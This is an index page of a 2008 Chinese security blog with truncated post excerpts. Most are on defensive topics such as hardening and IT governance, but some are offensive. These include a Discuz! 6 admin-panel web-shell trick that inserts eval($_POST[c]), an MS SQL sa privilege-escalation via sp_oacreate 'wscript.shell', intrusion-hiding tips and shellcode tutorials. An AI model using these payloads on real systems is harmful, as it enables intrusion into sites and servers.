linkboy的博客_信息安全管理,网络安全技术,程序代码(2)

我在入侵过程中注意到的细节（三）

导读：　　《黑客手册200803》　　我在入侵过程中注意到的细节之三　　lcx 　　前两期中的专栏中，针对细节入侵这一专题，我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中，有时候难免会与管理员面对面，如何更好的隐蔽自己也是很重要的，一旦不注意，入侵工作往往前功尽弃。这期专栏中，我就如何隐蔽自己所做的一些工作，所注意到的细节来写一下。　　先来说一下嗅探吧。大家

职场

休闲

转载精选 2008-06-07 20:05:00 544 阅读

内网安全十大防护策略详解

几乎所有企业对于网络安全的重视程度一下子提高了，纷纷采购防火墙等设备希望堵住来自Internet的不安全因素。然而，Intranet内部的攻击和入侵却依然猖狂。事实证明，公司内部的不安全因素远比外部的危害更恐怖。　　大多企业重视提高企业网的边界安全，暂且不提它们在这方面的投资多少，但是大多数企业网络的核心内网还是非常脆弱的。企业也对内部网络实施了相应保护措施，如:安装动辄数万甚至数十万的网

职场

内网

休闲

详解

防护

原创 2008-03-20 13:40:00 1195 阅读

绿盟于旸：让阿里安娜火箭爆炸的缓冲区溢出 linkboy语录：tk出品必是精品呵呵

腾讯科技讯 3月18日，由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会在深圳召开。包括微软、盛大、新浪等互联网界各大巨头的技术专家，学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自绿盟的于旸，在现场发表演讲。以下为文字实录：于旸：我首先做个自我介绍，我叫于旸，目前主要从事信息技术安全有关的研究工作。腾讯

职场

绿盟

休闲

linkboy

阿里安

转载精选 2008-03-20 13:39:00 1172 阅读

使用Linux LiveCD 评估系统的安全性

导读：　　您希望不用经过冗长的安装和配置过程就可以实现对 Linux? 系统安全性的评估吗？在本文中我们会介绍 4 个包： Auditor、Whoppix、Knoppix-STD 和 PHLAK，采用这些包之后，您就可以利用 LiveCD 了。真正安全的系统只能关机断电，放到一个混凝土浇注的建筑物中的一个密闭的房间中，并配备警力进行守卫。　　-- Gene Spafford，Purdu

Linux

系统

休闲

LiveCD

评估

原创 2008-02-26 13:44:00 905 阅读

关闭XP保护。替换explorer.exe

导读：　　在偶的VPC上测试是可以的。没有更多的测试. 　　偶并没有调用dllcache目录下的.你喜欢吧　　{*******************************************************} 　　{ } 　　{ 关闭XP保护。替换explorer.exe&n

职场

exe

explorer

休闲

转载精选 2008-02-01 20:32:00 669 阅读

开源安全技术的四大好处

导读：　　为使IT架构正常运作，企业往往要将信息安全作为一个关键因素引入到技术和管理体系中。在某些特定领域，与商业安全产品相比，开源安全技术有相当大的优势。　　开源安全产品的开发、测试和发布过程完全是透明的，同时提供产品的源代码及完善的文档。企业可以清楚地了解开源安全技术的工作原理和实现方法，在选择开源安全技术时更有把握，也更容易得到质量更好的安全方案。开源安全方案的开发者大多是经验丰

职场

开源

休闲

安全技术

原创 2008-01-30 16:23:00 552 阅读

Cisco路由器及交换机安全加固

导读：　　　　Cisco路由器及交换机安全加固　　关键词：Cisco、IOS、信息安全　　根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。　　网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应

交换机

Cisco

路由器

休闲

加固

转载精选 2008-01-30 09:14:00 384 阅读

Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_

职场

Shell

后台

休闲

Discuz

转载精选 2008-01-29 16:43:00 521 阅读

TrueCrypt v4.3a

TrueCrypt是一款免费，开源的支持Windows Vista/XP/2000 and Linux的绿色虚拟加密磁盘工具，可以在硬盘上创建一个或多个虚拟磁盘，所有虚拟磁盘上的文件都被自动加密，需要通过密码来进行访问。TrueCrypt提供多种加密算法，如AES-256、Blowfish(448-bitkey)、CAST5、Serpent、Triple DES等，其他特性还包括支持FAT32和N

职场

休闲

TrueCrypt

原创 2008-01-28 15:10:00 553 阅读

NetLimiter Pro

随着宽频网络的日益普及,使用P2P类下载软件(如:BT、迅雷、eDonkey、eMule..等等)的人越来越多,但是在使用此类软件时,通常会因他们的高速而「榨干」了我们有限的带宽,其他需要透过网络来联机的应用程序就几乎动弹不得了!有时想一边下载一边浏览网页都不行,蜗牛般的页面打开速度和极高速的文件下载速度总是让电脑使用者在一旁哭笑不得...NetLimiter 是一款运行在Windows 98/9

职场

Pro

休闲

NetLimiter

原创 2008-01-26 17:31:00 699 阅读

见过的最详强的讲ESP定律脱壳（推荐）

导读：　　　　FROM: poptown.gamewan.com/bbs 　　　　E-MAIL：meila2003@163.com 　　　　　　　1.前言　　　　在论坛上看到很多朋友，不知道什么是ESP定律，ESP的适用范围是什么，ESP定律的原理是什么，如何使用ESP定律？看到了我在“”调查结果发现,大家对ESP定律很感兴

定律

脱壳

ESP定律手工脱壳步骤

ESP定律手工脱壳步骤第一步：查壳第二步：用OD载入。第三步：按F8单步向下走，注意，当右边的ESP（堆栈指针寄存器），和EIP（　　　　指令指针寄存器）同时变红时，就停下。第四步：记下ESP地址，并在左下角的Commanc中输入　dd　ESP所对应的地址。　　　　并回车。第五步：在数值下面单击右键--断点----硬件访问---WO

定律

脱壳

休闲

手工

ESP

原创 2008-01-23 10:42:00 2293 阅读

影响 h00lyshit 成功的几个因素

导读：　　1.内核CONFIG_BINFMT_AOUT选项被设置为n或内核不支持a.out (Assembler.OUTput)格式,会出现错误failed: Exec format error 　　现在distro的内核不加入a.out的支持的，比如fedora的内核：　　$cat /boot/config-2.6.14-1.1637_FC4 | grep AOUT 　　#

职场

休闲

hoolyshit

原创 2008-01-20 20:34:00 1007 阅读

解读SOX法案对中国运营商的影响

解读SOX法案对中国运营商的影响　　　摘要：SOX法案出台的主要目的是要通过补充一系列完善的公司管理机制，从而提升公司透明度来恢复投资者对上市公司的信心。 2004年11月中旬，以中国网通顺利于美国上市为标志，包括中国电信、中国移动、中国联通以及中国网通这中国四大基础电信运营商的上市征程终告完满。但这仅仅是一个开始，等待这些运营商的仍有诸多挑战，而萨班斯法案恰恰是国内运营商们需要跨越的第

中国

运营商

SOX

解读

法案

转载精选 2008-01-18 21:01:00 1347 阅读

从公司管理到IT审计（CISA） - 信息安全 - ChinaUnix.net

从公司管理到IT审计一、管理先来理解一下什么是管理，什么是治理。假设有一个私人公司A，规模50人，年营业额5千万。这样的公司经营发展，老板最关心的是什么呢？是产品、生产、营销方面的竞争力，也就是说有好产品能够生产出来、以合理的价格卖出去并实现资金回笼、然后再生产，公司通过物流和资金流的不断循环增值，得到发展壮大。在这一阶段，公司面临的最大风险可能是产品、财务、市场、

unix

管理

休闲

ChinaUnix

CISA

原创 2008-01-18 11:07:00 900 阅读

Vista用户慎用第三方输入法

已确定受影响系统：windows vista x86 内容： vista系统在未登陆状态下，只能切换系统自带输入法。在人为错误输入情况下，可导致第三方输入法被启用，而进一步本地或远程非法登陆系统。临时解决方法：删除第三方输入法。

Vista

输入法

用户

休闲

慎用

原创 2008-01-16 21:01:00 732 阅读

windows 再暴输入法安全风险

windows 再暴输入法安全风险受影响系统： Microsoft Windows xp Microsoft Windows Server 2003 SP2 Microsoft Windows vista 内容： windows操作系统在未登陆状态，只能切换系统自带输入法。在特殊情况下可导致第三方输入法被启用，而绕过登陆验证。解决方案:谨慎使用，或删除第三方

职场

输入法

windows

风险

休闲

原创 2008-01-16 20:52:00 761 阅读

建企业危机管理与风险控制体系

随着经济全球化的发展，企业在市场竞争中将面对各种各样的风险，如何辨识、评估、监测、控制风险，已成为企业共同关心的热点问题。在一些发达国家，风险管理起步较早。由国际组织及各国风险管理协会的大力推动风险管理标准的实施。1995年，澳大利亚和新西兰联合制订了世界上第一个风险管理标准（AS/NZS4360）。2003年英国制订了AIRMIC/ALARM/IRM标准。2004年美国COSO发布了COSO-E

管理

企业

风险

危机

休闲

转载精选 2008-01-15 14:50:00 711 阅读

ITIL的局限性

由于公司建设ITSM系统的需要，开始接触ITIL理论，学习的来源多来自于一些文档、书籍及网上的资料，随着理解的深入，越发觉得ITIL有相当的局限性，尤其当公司人人对ITIL奉为圣旨时，就更加担心我们自身会走入一个误区，我总相信没有一种管理理论可以为一个公司带来质的飞跃，对所谓的流行理论，我个人一直抱有相对冷淡的立场，比如近来喊得比较多的蓝海战略之类，其实本没有任何新意，德鲁克在五十年前就已提出来了

职场

ITIL

休闲

局限性

转载精选 2008-01-15 14:49:00 689 阅读

ITIL之流程管理

流程管理　　流程管理　　每一个组织都希望实现其愿景、使命、目标和政策，这就意味着需要进行恰当的活动。以餐馆为例，恰当的活动包括购买蔬菜、记账、订购佐料、接待客人、清理桌子、刨土豆皮以及煮咖啡等。　　在这样一个毫无规律的列表下，有些活动可能会被漏掉，我们也很容易迷惑。因此，将这些活动按一定的结构组织起来是一个很好的主意。最好是，它们的组织方式让我们容易看出每组活动对组织目标的贡献，

职场

管理

ITIL

休闲

流程

转载精选 2008-01-15 14:48:00 1021 阅读

软件漏洞分析入门_7_案例

通过一周多的基础教学，相信学完前面6讲的朋友们已经初步掌握了缓冲区溢出的最基本原理，我称之为初级+出门。我们仍然缺少的关于栈溢出的基础知识包括： 1.如何灵活的选取跳转指令（跳板） 2.如何灵活的布置缓冲区，把shellcode摆放在恰当的位置 3.如何在shellcode中动态定位windows API。 4.如何利用淹没S.E.H劫持进程，

软件

职场

漏洞

入门

休闲

原创 2008-01-14 21:02:00 1415 阅读

软件漏洞分析入门_6

导读：　　看到有些朋友从贴图上的title上已经发现，我正在编纂一本漏洞分析方面的技术书籍。　　目前这本书正处于最后的排版，校对阶段，估计春节期间能够上架，有兴趣的朋友不妨到时候捧个场。另外觉得合胃口了记得向朋友推荐啊～～～～～（有点广告的嫌疑，呵呵）　　由于这两周项目很紧张，书也处于最后阶段，因此本系列讲座可能会调整到2～3天一帖。　　今天晚上的讲座我偷个懒，把我的书的目

软件

职场

漏洞

入门

休闲

原创 2008-01-14 20:21:00 1025 阅读

软件漏洞分析入门3

导读：　　第3讲初级栈溢出B 　　To be the apostrophe which changed “Impossible” into “I’m possible” 　　—— failwest 　　小荷才露尖尖角　　扫盲班第三讲开课啦！　　上节课我们用越过数组边界的一个字节把邻接

软件

职场

漏洞

入门

休闲

原创 2008-01-14 20:19:00 825 阅读

软件漏洞分析入门_4

导读：　　第4讲初级栈溢出C 　　To be the apostrophe which changed “Impossible” into “I’m possible” 　　—— failwest 　　没有星星的夜里，我用知识吸引你　　上节课没有操练滴东西，不少蠢蠢欲动的同学肯定已经坐不住

软件

职场

漏洞

入门

休闲

原创 2008-01-14 20:19:00 822 阅读

软件漏洞分析入门

导读：　　1 引子　　　　To be the apostrophe which changed “Impossible” into “I’m possible” 　　　　—— failwest 　　　　　　凉风有讯，秋月无边。　　　　您是否梦想过能够像电影上演

软件

职场

漏洞

入门

休闲

原创 2008-01-14 20:16:00 1011 阅读 1评论

武大学子在腾讯做应用安全

写的不怎么好。但可以给新毕业的学生一点启发。看看别人是怎么做的。当然安全肯定不止是文章中说的这点，而且老实说写的也很一般。为什么发。因为不知道什么是安全的太多了。怎么做的太少了。呵呵武大的信息安全专业，到今年已经毕业三届了，不过好像没听说有几个毕业生真正在做安全相关的技术工作的，我那届有两三个在金山做杀毒的。在腾讯的安全部门，就我一个是武大的；还有一个信安的师弟在Q

职场

应用

腾讯

休闲

学子

原创 2008-01-14 17:24:00 1203 阅读

sa 无xp_cmdshell下取权限又一简单方法

sa 无xp_cmdshell下取权限又一简单方法收藏导读：　　在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法　　（很多服务器都把'wscript.shell'给删了。）　　上网找了些资料，得到下面方法：　　复制文件：　　declare @o int 　　exec sp_oacreate '

职场

权限

休闲

cmdshell

原创 2008-01-13 19:24:00 670 阅读

免费正版杀毒软件,告别破解吧！

导读：　　AVAST！　　http://www.avast.com/cns/download-avast-home.html 　　McAfee2006┊极品个人安全组合套装┊官方无限制简体中文版　　此软件属于无限制真正简体中文版！注册很简单,到这个网址: http://us.mcafee.com/root/regist... 注册一个Mcafee帐号, 安装的时候填入你注册用

杀毒软件

职场

正版

休闲

原创 2008-01-13 19:15:00 1498 阅读 1点赞 1评论

通过Linux系统伪装方法加固系统安全

导读：　　网络上的计算机很容易被黑客利用工具或其它手段进行扫描，以寻找系统中的漏洞，然后再针对漏洞进行攻击。　　通过伪装Linux系统，给黑客设置系统假象，可以加大黑客对系统的分析难度，引诱他们步入歧途，从而进一步提高计算机系统的安全性。下面以Red Hat Linux为例，针对几种黑客常用的途径介绍一些常用的Linux系统伪装的方法。　　针对HTTP服务　　通过分析Web